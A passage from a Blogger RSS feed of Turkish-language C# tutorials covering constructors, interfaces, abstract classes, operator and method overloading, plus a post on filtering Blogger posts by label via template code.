&lt;p&gt;Yukarıdaki örnekte bir parametre almadık. Sadece sınıftan bir nesne üretildiğinde Ad ve Parola özelliklerinin değerlerini &quot;Yok&quot; olarak ayarladık. Aşağıdaki gibi deneyebilirsiniz.&lt;/p&gt;

&lt;pre&gt;Uye uye = new Uye();
Console.WriteLine(uye.Ad);&lt;/pre&gt;

&lt;p&gt;Evet, bu şekilde bazı olası hataların önüne geçmiş olduk. Ancak değerleri varsayılan olarak atadığımız için yazılımcı özelliklerin dolu olup olmadığını anlayamayacaktır. Bunun yerine aşağıdaki gibi yazılımcıyı değer girmeye zorlayabiliriz.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public Uye(string ad, string parola)
    {
        this.Ad = ad;
        this.Parola = parola;
    }

    public string Ad { get; set; }
    public string Parola { get; set; }
}&lt;/pre&gt;

&lt;p&gt;Böylece belki daha uğraştırıcı ama daha güvenli yol bulmuş olduk. Örnek aşağıda.&lt;/p&gt;

&lt;pre&gt;Uye uye = new Uye(&quot;umutcoskun&quot;, &quot;123456&quot;);
Console.WriteLine(uye.Ad);&lt;/pre&gt;

&lt;p&gt;Yapıcı metotları aşırı yükleyebildiğimizden bahsetmiştik. Öyleyse şimdi yukarıdaki her iki örneği de kullanıp seçimi yazılımcıya bırakalım. İster varsayılan değerleri kullansın, ister kendi belirlesin.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public Uye()
    {
        this.Ad = &quot;Yok&quot;;
        this.Parola = &quot;Yok&quot;;
    }

    public Uye(string ad, string parola)
    {
        this.Ad = ad;
        this.Parola = parola;
    }

    public string Ad { get; set; }
    public string Parola { get; set; }
}&lt;/pre&gt;

&lt;p&gt;Aşağıda görüldüğü üzere istenilen şekilde kullanılabilir.&lt;/p&gt;

&lt;pre&gt;Uye uye = new Uye(&quot;umutcoskun&quot;, &quot;123456&quot;);
Console.WriteLine(uye.Ad);

Uye baskaUye = new Uye();
Console.WriteLine(baskaUye.Ad);&lt;/pre&gt;

&lt;p&gt;Türemiş (derived) sınıflar kendi temel (base) sınıflarının yapıcı metotlarını tetiklerler. Mesela aşağıdaki gibi bir örnek yapalım.&lt;/p&gt;

&lt;pre&gt;class Hayvan
{
    public Hayvan()
    {
        Console.WriteLine(&quot;Hayvan yapıcı metodu tetiklendi.&quot;);
    }
}

class Memeli : Hayvan
{
    public Memeli()
    {
        Console.WriteLine(&quot;Memeli yapıcı metodu tetiklendi.&quot;);
    }
}

class Fare : Memeli
{
    public Fare()
    {
        Console.WriteLine(&quot;Fare yapıcı metodu tetiklendi.&quot;);
    }
}&lt;/pre&gt;

&lt;p&gt;Aşağıdaki gibi Fare sınıfından bir nesne oluşturup deneme yapalım.&lt;/p&gt;

&lt;pre&gt;Fare fare = new Fare();&lt;/pre&gt;

&lt;p&gt;Gördüğünüz üzere bütün yapıcı metotlar Hayvan &gt; Memeli &gt; Fare sırasıyla hiyerarşik olarak tetiklendi.&lt;/p&gt;

&lt;p class=&quot;console&quot;&gt;Hayvan yapıcı metodu tetiklendi.
Memeli yapıcı metodu tetiklendi.
Fare yapıcı metodu tetiklendi.&lt;/p&gt;

&lt;p&gt;Yapıcı metotların &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-access-modifiers-erisim-belirleyiciler.html&quot; target=&quot;_blank&quot;&gt;erişim belirleyicisi&lt;/a&gt; &lt;code&gt;public&lt;/code&gt; olmalıdır. Aksi takdirde &quot;inaccessable due to its protection level&quot; hatası alabilirsiniz. Statik sınıflarda yapıcı metot tanımlanamaz. Eğer denerseniz &quot;static classes cannot have instance constructors&quot; hatası alırsınız.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-constructors-yapici-metotlar.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2dyn-fHE3GUgjIMjyyKStQ1UoWt8VeTC2mI8Ns2W6mlj3DUm0oxIaUIGSjVlyMrT8f8R-mtsjz1H1cUf9yjwpwBSW2Ukq6WVmwQmYAKeFAVjzGuMiOcUYNv0dn-WTSlUG9jDTE6jEeFI/s72-c/csharp-constructors-thumb.gif" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-1870016142697337490</guid><pubDate>Sun, 23 Aug 2015 02:28:00 +0000</pubDate><atom:updated>2015-08-23T05:36:40.592+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">blogger</category><category domain="http://www.blogger.com/atom/ns#">xarchive</category><title>Blogger - Yazıları Etiketlere Göre Filtreleme</title><description>&lt;p&gt;Blogger yazarları için büyük bir eksiklik olduğunu düşünüyorum. Bir blogger kullanıcısı olarak ben ihtiyaç duydum. Çözümü yabancı bir blogda buldum ve Türkçe kaynak olmadığını fark ettim. Eğer bazı yazılarınızın ana sayfada ya da kategori sayfalarında görünmesini istemiyorsanız etiketlere göre filtreleme yapabilirsiniz.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;p&gt;Önce Blogger yönetim panelindeki &lt;strong&gt;Şablon&lt;/strong&gt; bölümünden &lt;strong&gt;HTML&#39;yi Düzenle&lt;/strong&gt;&#39;ye tıklayın ve şablon kodlarınızı ne olur ne olmaz diye bir yere kaydedin. Ardından &lt;code&gt;CTRL + F&lt;/code&gt; ile blog yazılarınızı listeleyen aşağıdaki satırı bulun.&lt;/p&gt;

&lt;pre&gt;&amp;lt;b:loop values=&#39;data:posts&#39; var=&#39;post&#39;&amp;gt;&lt;/pre&gt;

&lt;p&gt;Bu yazı listeleme döngüsüdür. Şimdi bu kısmın altına doğru bakın ve &lt;code&gt;&amp;lt;/b:loop&amp;gt;&lt;/code&gt; satırını bulun. Ardından bu iki satır dahil olmak üzere aralarında ne varsa hepsini silin ve yerine aşağıdaki yeni kodu yapıştırın.&lt;/p&gt;

&lt;pre&gt;&amp;lt;b:loop values=&#39;data:posts&#39; var=&#39;post&#39;&amp;gt;
    &amp;lt;b:if cond=&#39;data:blog.url == data:blog.homepageUrl&#39;&amp;gt;
        &amp;lt;b:if cond=&#39;data:post.labels&#39;&amp;gt;
            &amp;lt;b:loop values=&#39;data:post.labels&#39; var=&#39;label&#39;&amp;gt;
                &amp;lt;b:if cond=&#39;data:label.isLast == &amp;quot;true&amp;quot;&#39;&amp;gt;
                    &amp;lt;b:if cond=&#39;data:label.name != &amp;quot;ET&amp;#304;KET_ADI_BURAYA&amp;quot;&amp;gt;
                        &amp;lt;b:include data=&#39;post&#39; name=&#39;post&#39;/&amp;gt;
                    &amp;lt;/b:if&amp;gt;
                &amp;lt;/b:if&amp;gt;
            &amp;lt;/b:loop&amp;gt;
        &amp;lt;/b:if&amp;gt;
    &amp;lt;b:else/&amp;gt;
        &amp;lt;b:include data=&#39;post&#39; name=&#39;post&#39;/&amp;gt;
    &amp;lt;/b:if&amp;gt;
&amp;lt;/b:loop&amp;gt;&lt;/pre&gt;

&lt;p&gt;Şimdi kodun içindeki &lt;strong&gt;ETİKET_ADI_BURAYA&lt;/strong&gt; kısmını istediğiniz bir etiketle değiştirin. O yazılar artık anasayfada yayınlanmayacak.&lt;/p&gt;

&lt;p&gt;Ancak unutmayın; eğer hiç etikete sahip olmayan yazılarınız varsa bunlar anasayfada listelenmez. Filtreleme işlemi yapacağınız etiket blog yazısına en son eklenmelidir. Aksi taktirde kod çalışmaz. Eğer son yazdığınız yazıların hepsi filtrelenen kategoride ise anasayfanız boş görünebilir.&lt;/p&gt;

&lt;p&gt;Kolay gelsin.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/blogger-yazilari-etiketlere-gore-filtreleme.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-5282778428025316196</guid><pubDate>Thu, 20 Aug 2015 23:25:00 +0000</pubDate><atom:updated>2015-09-13T14:46:32.302+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">interface</category><category domain="http://www.blogger.com/atom/ns#">oop</category><title>C# - Interface (Arayüz) Kavramı</title><description>&lt;p&gt;Arayüzler bir sınıfın sahip olması gereken özellikleri tanımlarlar. &lt;abbr title=&quot;interface&quot;&gt;Arayüz&lt;/abbr&gt; içerisinde kod yazılmaz, sadece özellik ve metot imzaları verilir. Bir arayüzden miras alan sınıf arayüzün tüm metotlarını &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-polymorphism-cok-bicimlilik.html&quot; target=&quot;_blank&quot;&gt;ezmek&lt;/a&gt; zorundadır. Arayüzlerden tıpkı &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-abstract-classes-methods.html&quot; target=&quot;_blank&quot;&gt;soyut sınıflar&lt;/a&gt; gibi nesne referansları oluşturulamaz. Bir sınıf birden fazla arayüzden miras alabilir.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYf2oFJix48AK2bbIJNpbCifJ8nq9hb_BhDq5vFw1bPZyeJ5GsU_ohULssnyzAW80MNTs6hYfKkI4rS6eFVDWgcx99IBLaig15SQKhP9ThpYjsL1zy34yN6nRmZg3iAZKLuVAPNSNj-y8/s1600/interface-thumb.png&quot; alt=&quot;C# - Interface (Arayüz) Kavramı&quot; style=&quot;display: none;&quot;/&gt;

&lt;p&gt;Arayüzler &lt;code&gt;interface&lt;/code&gt; anahtar kelimesi ile tanımlanır ve &lt;code&gt;public&lt;/code&gt; olmak zorundadır. Bir gelenek (ya da standart) olarak arayüzlerin başına &lt;code&gt;I&lt;/code&gt; konulur. Ancak zorunlu değildir. Miras alan sınıf içinde &lt;code&gt;private&lt;/code&gt; özellikler ya da metotlar tanımlanabilir.&lt;/p&gt;

&lt;p&gt;Şimdi bir örnek yapalım. Bir sitede üyeler ve yöneticiler (admin) olsun. Biz de onların özelliklerini belirleyelim.&lt;/p&gt;

&lt;pre&gt;interface IUye
{
    string Ad { get; set; }

    void Ekle();
    void Listele();
}

interface IAdmin
{
    void Duzenle(int id);
    void Sil(int id);
}&lt;/pre&gt;

&lt;p&gt;Üyelere ve adminlere ait özellikleri belirledik. Şimdi iki sınıf için de miras alma işlemini yapalım.&lt;/p&gt;

&lt;pre&gt;class Uye : IUye
{
    public string Ad { get; set; }
    public string Parola { get; set; }

    public void Ekle()
    {
        Console.WriteLine(&quot;Yeni kayıt eklendi.&quot;);
    }

    public void Listele()
    {
        Console.WriteLine(&quot;Kayıtlar listelendi.&quot;);
    }
}&lt;/pre&gt;

&lt;p&gt;Üye sınıfında &lt;code&gt;IUye&lt;/code&gt;&#39;den miras aldık ve metotları implement edip içlerini (temsili olarak) doldurduk. Şuanda bir üyenin sadece kayıt ekleme ve listeleme hakları var. Şimdi yöneticiler için bir sınıf oluşturalım.&lt;/p&gt;

&lt;pre&gt;class Admin : Uye, IAdmin
{
    public void Duzenle(int id)
    {
        Console.WriteLine(&quot;Kayıt düzenlendi: &quot; + id);
    }

    public void Sil(int id)
    {
        Console.WriteLine(&quot;Kayıt silindi: &quot; + id);
    }
}&lt;/pre&gt;

&lt;p&gt;Özellikleri ve ekle - sil metotlarını tekrar &lt;code&gt;IUye&lt;/code&gt;&#39;den miras almak yerine &lt;code&gt;Uye&lt;/code&gt;&#39;den alıp içlerini tekrar doldurma yükünden kurtulduk. Ardından &lt;code&gt;IAdmin&lt;/code&gt;&#39;den gelen düzenle - sil metotlarının gövdelerini oluşturduk. Artık istediğimiz gibi &lt;code&gt;new Admin();&lt;/code&gt; ya da &lt;code&gt;new Uye();&lt;/code&gt; diyerek &lt;code&gt;IUye&lt;/code&gt; ve &lt;code&gt;IAdmin&lt;/code&gt;&#39;deki tüm hakları (ekle, listele, düzenle, sil) kullanabiliriz. Tabi bir üye sadece düzenle ve listele işlemleri yapabilir.&lt;/p&gt;

&lt;p&gt;Bir sınıfın birden fazla arayüzden miras alabileceğini söylemiştik. Şimdi adminlere biraz daha hak tanıyalım.&lt;/p&gt;

&lt;pre&gt;public interface ISuperAdmin
{
    void VerileriYedekle();
    void BakimModu(bool siteBakimdaMi);
}&lt;/pre&gt;

&lt;p&gt;Süper adminler sitenin veritabanına erişim sağlayabilir ve site yayınını geçici olarak durdurabilirler. Şimdi metot içeriklerini yazalım. Yeni bir SuperAdmin sınıfı oluşturmak yerine &lt;code&gt;IAdmin&lt;/code&gt; ve &lt;code&gt;ISuperAdmin&lt;/code&gt;&#39;den miras aldık.&lt;/p&gt;

&lt;pre&gt;class Admin : Uye, IAdmin, ISuperAdmin
{
    /* IAdmin özellikleri */
    public void Duzenle(int id)
    {
        Console.WriteLine(&quot;Kayıt düzenlendi: &quot; + id);
    }

    public void Sil(int id)
    {
        Console.WriteLine(&quot;Kayıt silindi: &quot; + id);
    }

    /* ISuperAdmin özellikleri */
    public void VerileriYedekle()
    {
        Console.WriteLine(&quot;Veriler diske yedeklendi.&quot;);
    }

    public void BakimModu(bool siteBakimdaMi)
    {
        if (siteBakimdaMi)
        {
            Console.WriteLine(&quot;Site erişime kapatıldı.&quot;);
            Console.WriteLine(&quot;Yedeklemeye başlayabilirsiniz.&quot;);
        }
        else
        {
            Console.WriteLine(&quot;Site erişime açıldı.&quot;);
        }
    }
}&lt;/pre&gt;

&lt;p&gt;Yukarıda olduğu gibi yine miras aldığımız metotların içini doldurduk (implement). Arayüzlerin olayı bu, sadece bir sınıfın hangi özellikleri barındırması gerektiğine karar verirler ve yazılımcıyı buna zorlarlar. Başka da bir numarası yok.&lt;/p&gt;

&lt;p&gt;Kolay gelsin.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-interface-kavrami.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYf2oFJix48AK2bbIJNpbCifJ8nq9hb_BhDq5vFw1bPZyeJ5GsU_ohULssnyzAW80MNTs6hYfKkI4rS6eFVDWgcx99IBLaig15SQKhP9ThpYjsL1zy34yN6nRmZg3iAZKLuVAPNSNj-y8/s72-c/interface-thumb.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-8708318521553685334</guid><pubDate>Mon, 17 Aug 2015 23:22:00 +0000</pubDate><atom:updated>2015-09-13T14:46:49.804+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">abstract</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">oop</category><title>C# - Abstract (Soyut) Sınıf ve Metotlar</title><description>&lt;p&gt;Yazdığımız bir sınıftan nesne referansı alınmasını istemediğimiz, yalnızca kalıtım yoluyla türetilmesini istediğimiz zamanlarda &lt;strong&gt;abstract&lt;/strong&gt; anahtar kelimesini kullanırız. Soyut (abstract) olarak tanımlanan metotların ise içi doldurulmaz. Soyut sınıftan türetilen sınıf (derived class) bu metotları implement etmek zorundadır.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHWWU8kUXum1NIOf-6OS_Ecr4VPGmQQE6qvopRtUFKP_thVs22iji6vCiUd8syEMegQ1k7h4aJ1f2GaLBWt7YpsuTCUtKtAXGkj9aja7aIH2m3T_ZYwyc7oTnWflXb2Gok1tAq5KJw1PE/s1600/ghost.jpg&quot; alt=&quot;C# - Abstract (Soyut) Sınıf ve Metotlar&quot; style=&quot;display: none;&quot; /&gt;

&lt;p&gt;Implement etmek, gövdesi yazılmayan metodu sınıf içinde oluşturma işlemine denir. Metot ezme işlemindeki gibi &lt;strong&gt;override&lt;/strong&gt; anahtar kelimesi kullanılır. Soyut metotlar &lt;strong&gt;public&lt;/strong&gt; olmak zorundadır.&lt;/p&gt;

&lt;p&gt;Şimdi bir örnek yapalım ve bir &quot;Taşıt&quot; soyut sınıfı oluşturup bu sınıftan &quot;Araba&quot; ve &quot;Gemi&quot; sınıflarını türetelim.&lt;/p&gt;

&lt;pre&gt;abstract class Tasit
{
    public string Ad { get; set; }
    public int KoltukSayisi { get; set; }

    public abstract bool UygunOrtamVarMi(string ortam);

    public void Calistir(string ortam)
    {
        if(this.UygunOrtamVarMi(ortam))
        {
            Console.WriteLine(&quot;Çalıştırıyorum...&quot;);
        }
        else
        {
            Console.WriteLine(&quot;Malesef, &quot; + ortam + &quot; ortamında çalışamaz... :(&quot;);
        }
    }
}&lt;/pre&gt;

&lt;p&gt;Yukarıda gördüğünüz üzere sınıf özelliklerini tanımlarken bir değişiklik yok fakat metot tanımlarken gövdesini yazmadım ve türetilen sınıf içerisinde yazılmasını istedim. Soyut sınıfları kelime anlamı ile düşünebilirsiniz. Taşıt bir varlıktır fakat tek başına bir anlam ifade etmez. Ancak tüm taşıtlar (araba, gemi, uçak vb.) için ortak özellikleri belirler.&lt;/p&gt;

&lt;p&gt;Çalıştır metodunda &lt;code&gt;UygunOrtamVarMi&lt;/code&gt; metoduna giderek sağlanıp sağlanmadığına bakıyor ve kullanıcıya bir mesaj veriyoruz.&lt;/p&gt;

&lt;p&gt;Örneğin, &quot;Ankara&#39;ya ne ile gidiyorsun&quot; denildiğinde &quot;Taşıtla :))&quot; diyemeyeceğimiz gibi &lt;code&gt;Tasit tasit = new Tasit();&lt;/code&gt; gibi bir tanımlama da yapamayız. Eğer denerseniz &quot;Cannot create an instance of the abstract class or interface&quot; hatası alırsınız.&lt;/p&gt;

&lt;p&gt;Şimdi taşıttan bir &quot;Araba&quot; sınıfı türetelim ve ilgili metodu implement edelim.&lt;/p&gt;

&lt;pre&gt;class Araba : Tasit
{
    public override bool UygunOrtamVarMi(string ortam)
    {
        return ortam == &quot;Kara&quot;;
    }
}&lt;/pre&gt;

&lt;p&gt;Eğer sınıf içinde soyut metodu yazmasaydık ya da kuralına göre tanımlamamış olsaydık &quot;does not implement inherited abstract member&quot; hatası alacaktık. Neyse ki metodu yazdık ve çalıştırılmak istenen ortamın &quot;kara&quot; olup olmadığına baktık. Aşağıdaki gibi deneyebilirsiniz.&lt;/p&gt;

&lt;pre&gt;Araba araba = new Araba();
araba.Calistir(&quot;su&quot;);&lt;/pre&gt;

&lt;p&gt;Bir başa örnekte &quot;Gemi&quot; sınıfını oluşturalım.&lt;/p&gt;

&lt;pre&gt;class Gemi : Tasit
{
    public bool Kaptan { get; set; }

    public override bool UygunOrtamVarMi(string ortam)
    {
        if (!this.Kaptan)
        {
            Console.WriteLine(&quot;Kaptan yok haberin olsun...&quot;);
        }

        return ortam == &quot;su&quot;;
    }
}&lt;/pre&gt;

&lt;p&gt;Soyut sınıflar &lt;strong&gt;base class&lt;/strong&gt; olmak üzere yazılırlar. Örneğin; bir çok geliştiricinin olduğu bir projede karışıklık çıkmaması için  bir yazılımcının diğerine &quot;bu sınıftan referans alma ama bu iş için yazacağın sınıf şu, şu, şu özellikleri mutlaka içersin&quot; deme yoludur.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-abstract-classes-methods.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHWWU8kUXum1NIOf-6OS_Ecr4VPGmQQE6qvopRtUFKP_thVs22iji6vCiUd8syEMegQ1k7h4aJ1f2GaLBWt7YpsuTCUtKtAXGkj9aja7aIH2m3T_ZYwyc7oTnWflXb2Gok1tAq5KJw1PE/s72-c/ghost.jpg" height="72" width="72"/><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-6199383958220893602</guid><pubDate>Sun, 16 Aug 2015 23:22:00 +0000</pubDate><atom:updated>2015-09-13T14:47:07.172+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">oop</category><category domain="http://www.blogger.com/atom/ns#">operator overloading</category><title>C# - Operator Overloading (Operatörlerin Aşırı Yüklenmesi) </title><description>&lt;p&gt;Normal şartlarda sınıflar üzerinde operatör (- + / vs.) kullanılamaz fakat C# sınıfları operatörlere uygun hale getirmeye imkan veriyor. Sınıfın içine yazacağımız metotlar ile ilgili operatörün nesne için nasıl çalışacağını belirleyebiliyoruz. Bu işleme &lt;strong&gt;operatörlerin aşırı yüklenmesi&lt;/strong&gt; (operator overloading) denir.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgK7TenjzGSIgQDNjEkBducHnMzaNsC7XQoVKO15zrcW_BHG1FerPih0q44kf41zzKk3pPRUltDMXheorVlyGdv3yz64BAOD9lh2dnFc_wIpLvB7UdRH2IAzcE3VkW6A3U0rE5K9mTiV0/s1600/operator-overloading.jpg&quot; alt=&quot;C# - Operator Overloading (Operatörlerin Aşırı Yüklenmesi) &quot; style=&quot;display: none;&quot;/&gt;

&lt;p&gt;Mesela iki boyutlu bir oyun geliştiriyor olalım ve nesnelerin ekrandaki konumunu tutmak için X ve Y değerlerini tutan aşağıdaki sınıfı yazmış olalım.&lt;/p&gt;
&lt;pre&gt;class Nokta
{
    public int X { get; set; }
    public int Y { get; set; }
}&lt;/pre&gt;

&lt;p&gt;Çarpışma kontrolü yapmak istedik ve test için aşağıdaki gibi bir şey yazdık.&lt;/p&gt;

&lt;pre&gt;Nokta a = new Nokta { X = 50, Y = 50 };
Nokta b = new Nokta { X = 50, Y = 50 };

if (a == b)
{
    Console.Write(&quot;İki nokta aynı&quot;);
}
else
{
    Console.Write(&quot;İki nokta farklı.&quot;);
}&lt;/pre&gt;

&lt;p&gt;Belirlediğimiz her iki nesnede de noktalar (X ve Y değerleri) aynı. Yukarıdaki kontrolü yaptık ve sonucun &quot;aynı&quot; olmasını bekledik ama olmadı. Böyle olmalıydı çünkü şuanda C# bu nesneleri nasıl karşılaştıracağını bilmiyor. Şimdi sınıfın içine iki tane daha metot ekleyip &lt;code&gt;==&lt;/code&gt; ve &lt;code&gt;!=&lt;/code&gt; operatörlerini aşırı yükleyerek içlerinde X ve Y değerlerini teker teker kontrol edip sonucu döndürelim.&lt;/p&gt;

&lt;pre&gt;public static bool operator ==(Nokta a, Nokta b)
{
    return (a.X == b.X) &amp;&amp; (a.Y == b.Y);
}

public static bool operator !=(Nokta a, Nokta b)
{
    return (a.X != b.X) || (a.Y != b.Y);
}&lt;/pre&gt;

&lt;p&gt;Operatör aşırı yükleme metotları &lt;strong&gt;static&lt;/strong&gt; olmalıdır ve dönüş tipleri belirlenmelidir. Hangi operatörü aşırı yüklemek istediğimizi yazarız fakat bu metotların isimleri yoktur. İki parametre gelir; birisi &lt;code&gt;nesne1 == nesne2&lt;/code&gt; karşılaştırmasındaki soldaki, diğeri ise sağdaki.&lt;/p&gt;

&lt;p&gt;Aynı oyunda iki objenin uzaklığını bulmamız gerektiğini düşünelim. İki sayının farkını almak için mutlak değeri bulunur. Biz de öyle yaparak bir noktanın X ve Y özelliklerinin diğer noktanın özellikleri ile karşılaştırıp mutlak değerini alacağız ve geriye bir &lt;code&gt;Nokta&lt;/code&gt; nesnesi döndüreceğiz. Bu işlem için &lt;code&gt;-&lt;/code&gt; (çıkarma) operatörünü aşırı yükleyeceğiz. Şimdi gerekli metodu yazıp sınıfa ekleyelim.&lt;/p&gt;

&lt;pre&gt;public static Nokta operator -(Nokta a, Nokta b)
{
    return new Nokta {
        X = Math.Abs(a.X - b.X),
        Y = Math.Abs(a.Y - b.Y)
    };
}&lt;/pre&gt;

&lt;p&gt;Bu arada bir sayının mutlak değerini almak için &lt;code&gt;Math.Abs&lt;/code&gt; metodu kullanılır. Eşitlik (==) operatörünü aşırı yüklerken geride &lt;code&gt;bool&lt;/code&gt; bir değer döndürmüştük. Ancak - (çıkarma) bir karşılaştırma operatörü olmadığı için nesnenin bir referansını döndürdük. Şimdi aşağıdaki gibi test edip çalışıp çalışmadığına bakalım.&lt;/p&gt;

&lt;pre&gt;Nokta oyuncu = new Nokta { X = 60, Y = 20 };
Nokta canavar = new Nokta { X = 50, Y = 50 };

Nokta uzaklik = oyuncu - canavar;

Console.WriteLine(&quot;Yatay uzaklık: &quot; + uzaklik.X);
Console.WriteLine(&quot;Dikey uzaklık: &quot; + uzaklik.Y);&lt;/pre&gt;

&lt;p&gt;Aşağıdaki çıktıyı almış olmalısınız.&lt;/p&gt;

&lt;div class=&quot;console&quot;&gt;Yatay uzaklık: 10
Dikey uzaklık: 30&lt;/div&gt;

&lt;p&gt;Bu arada aşırı yüklenen metodun ikinci parametresi bir nesne olmak zorunda değil. İsterseniz int, string, float gibi built-in tipler ile de karşılaştırma yapabilirsiniz. Tabi ona göre metot yazmalısınız.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-operator-overloading.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgK7TenjzGSIgQDNjEkBducHnMzaNsC7XQoVKO15zrcW_BHG1FerPih0q44kf41zzKk3pPRUltDMXheorVlyGdv3yz64BAOD9lh2dnFc_wIpLvB7UdRH2IAzcE3VkW6A3U0rE5K9mTiV0/s72-c/operator-overloading.jpg" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-5615299667586004191</guid><pubDate>Sun, 16 Aug 2015 03:41:00 +0000</pubDate><atom:updated>2015-08-23T19:00:36.846+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">method overloading</category><category domain="http://www.blogger.com/atom/ns#">oop</category><title>C# - Method Overloading (Metotların Aşırı Yüklenmesi)</title><description>&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPOOOhqEDbLIpLm0wA8TYel6x41F0p1WuRK-eYGjuY-szfHhcc6YdHGmQiJN0YP9MWnYWhaLg6BKBXOsk2AD3zkgTOOysHZoW6hDh_pz7jRvyd428G35Lgo7yhKVb5C3G-CZJavHlx54Q/s1600/method-overloading-esek.jpg&quot; style=&quot;display: none;&quot; /&gt;

&lt;p&gt;C# sınıf içinde aynı isimle metot tanımlamaya izin verir. Ancak tanımlanan metotların aldığı parametreler &lt;strong&gt;farklı&lt;/strong&gt; olmalıdır. Tek bir sınıf içinde aynı isimli metotların farklı parametrelerle farklı yorumlamasına &lt;strong&gt;metotların aşırı yüklenmesi&lt;/strong&gt; (method overloading) denir. &lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;p&gt;Mesela &lt;code&gt;Console.WriteLine&lt;/code&gt; metodunu düşünün. Hiç dönüştürme işlemi yapmadan her türlü tipteki (int, string vs.) veriyi parametre olarak verebiliriz. Ancak hiç sesini çıkarmaz bu tam on dokuz tane aşırı yükleme yapılmış &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/system.console.writeline(v=vs.110).aspx&quot; target=&quot;_blank&quot;&gt;cefakar metot&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Şimdi biz de bir örnek yapalım ve verilen sayıları toplayıp geri döndüren basit bir sınıf yazalım.&lt;/p&gt;

&lt;pre&gt;class Matematik
{
    public int Topla(int a, int b)
    {
        return a + b;
    }

    public int Topla(int a, int b, int c)
    {
        return a + b + c;
    }

    public int Topla(int a, int b, bool haberVer)
    {
        if (haberVer)
        {
            Console.WriteLine(&quot;Haberin olsun topluyorum!&quot;);
        }

        return a + b;
    }
}&lt;/pre&gt;

&lt;p&gt;Sınıfı kullanırken &lt;code&gt;Topla&lt;/code&gt; metodunu yazmak üzereyken Visual Studio metodun imzasını ve kaç tane aşırı yüklenmiş hali olduğunu söyleyecektir.&lt;/p&gt;

&lt;figure&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc9Kbo3IwWNNX9lalVrsfQvb99jHFdRbLC63kkCEkeyLg5YSK4C-liXz8JlWo08hThrk6uSbNp011kNdsvgswXzH82G-F3DNZUHstB0HdGuFjL-Q3PNcmjgnVhJ_NQ9RVhJ1RgTBUD5Fw/s1600/method-overloading.png&quot; alt=&quot;Method Overloading&quot;/&gt;&lt;figcaption&gt;(+2 overloads)&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Metodun adı ve aldığı parametrelerin isimleri ve sayısı imzasıdır. Metot aşırı yüklemede parametre(ler) değiştiği için metodun imzası (method signature) da değişmiş oluyor.&lt;/p&gt;

&lt;pre&gt;Matematik matematik = new Matematik();

int sonuc = 0;

sonuc = matematik.Topla(12, 7);
Console.WriteLine(&quot;12 + 7 = &quot; + sonuc);

sonuc = matematik.Topla(7, 14, 21);
Console.WriteLine(&quot;7 + 14 + 21 = &quot; + sonuc);

sonuc = matematik.Topla(5, 3, true);
Console.WriteLine(&quot;5 + 3 = &quot; + sonuc);&lt;/pre&gt;


&lt;p&gt;Sınıfı yukarıdaki gibi test ederseniz alacağınız çıktı aşağıdaki gibi olacaktır.&lt;/p&gt;

